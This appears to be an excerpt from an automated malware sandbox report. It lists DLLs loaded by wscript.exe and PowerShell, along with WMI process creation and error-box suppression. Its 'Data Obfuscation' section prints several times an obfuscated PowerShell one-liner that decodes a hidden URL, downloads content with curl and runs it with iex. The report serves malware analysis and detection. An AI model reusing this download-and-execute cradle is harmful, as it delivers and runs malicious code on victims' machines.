Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mlang.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: CallSite.Target.pdb source: powershell.exe, 00000010.00000002.2403618000.0000027D73A30000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Target.pdbX source: powershell.exe, 0000000E.00000002.2403589372.0000016777CDF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \mscorlib.pdblse"K source: powershell.exe, 00000010.00000002.2400440616.0000027D73850000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 0000000E.00000002.2400449466.00000167778D4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2400440616.0000027D737F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 0000000E.00000002.2400449466.000001677795B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2403618000.0000027D73A70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdb[ source: powershell.exe, 00000010.00000002.2403618000.0000027D73A70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 0000000E.00000002.2400449466.00000167778D4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2403618000.0000027D73A30000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdb" source: powershell.exe, 00000010.00000002.2330313126.0000027D597BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbr+ source: powershell.exe, 00000010.00000002.2403618000.0000027D73A70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 0000000E.00000002.2400449466.00000167778D4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.2403618000.0000027D73A70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 0000000E.00000002.2403589372.0000016777CA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdbu source: powershell.exe, 00000010.00000002.2403618000.0000027D73A30000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb L source: powershell.exe, 00000010.00000002.2400440616.0000027D73850000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb-+ source: powershell.exe, 00000010.00000002.2403618000.0000027D73A70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.PowerShell.Commands.Utility.pdbpdbity.pdb89 source: powershell.exe, 00000010.00000002.2400440616.0000027D737F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdbY~ source: powershell.exe, 0000000E.00000002.2403589372.0000016777CA0000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Obfuscated command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\System32\conhost.exe conhost --headless powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn)
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn)
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\System32\conhost.exe conhost --headless powershell $wcahze='ur' ;new-alias printout c$($wcahze)l;$trsoqwlp=(1811,1822,1830,1814,1816,1811,1831,1830,1835,1768,1830,1764,1811,1759,1829,1824,1825,1760,1762,1759,1825,1817,1825,1776,1828,1774,1822,1818,1823,1829,1828,1763,1762);$xepbrqkoau=('bronx','get-cmdlet');$dehltizxfcswu=$trsoqwlp;foreach($fahyrwncbvdkjm in $dehltizxfcswu){$dgznhjbpvsl=$fahyrwncbvdkjm;$pkhdavnfqjgs=$pkhdavnfqjgs+[char]($dgznhjbpvsl-1713);$swoezd=$pkhdavnfqjgs; $zotfqbascrdlje=$swoezd};$jmlkbouispxcrh[2]=$zotfqbascrdlje;$kuweximjag='rl';$obgwvcmaft=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zotfqbascrdlje)
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $wcahze='ur' ;new-alias printout c$($wcahze)l;$trsoqwlp=(1811,1822,1830,1814,1816,1811,1831,1830,1835,1768,1830,1764,1811,1759,1829,1824,1825,1760,1762,1759,1825,1817,1825,1776,1828,1774,1822,1818,1823,1829,1828,1763,1762);$xepbrqkoau=('bronx','get-cmdlet');$dehltizxfcswu=$trsoqwlp;foreach($fahyrwncbvdkjm in $dehltizxfcswu){$dgznhjbpvsl=$fahyrwncbvdkjm;$pkhdavnfqjgs=$pkhdavnfqjgs+[char]($dgznhjbpvsl-1713);$swoezd=$pkhdavnfqjgs; $zotfqbascrdlje=$swoezd};$jmlkbouispxcrh[2]=$zotfqbascrdlje;$kuweximjag='rl';$obgwvcmaft=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zotfqbascrdlje)
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn)	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $wcahze='ur' ;new-alias printout c$($wcahze)l;$trsoqwlp=(1811,1822,1830,1814,1816,1811,1831,1830,1835,1768,1830,1764,1811,1759,1829,1824,1825,1760,1762,1759,1825,1817,1825,1776,1828,1774,1822,1818,1823,1829,1828,1763,1762);$xepbrqkoau=('bronx','get-cmdlet');$dehltizxfcswu=$trsoqwlp;foreach($fahyrwncbvdkjm in $dehltizxfcswu){$dgznhjbpvsl=$fahyrwncbvdkjm;$pkhdavnfqjgs=$pkhdavnfqjgs+[char]($dgznhjbpvsl-1713);$swoezd=$pkhdavnfqjgs; $zotfqbascrdlje=$swoezd};$jmlkbouispxcrh[2]=$zotfqbascrdlje;$kuweximjag='rl';$obgwvcmaft=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zotfqbascrdlje)	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 16_2_00007FFD9B7D815B push ebx; ret

16_2_00007FFD9B7D816A

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
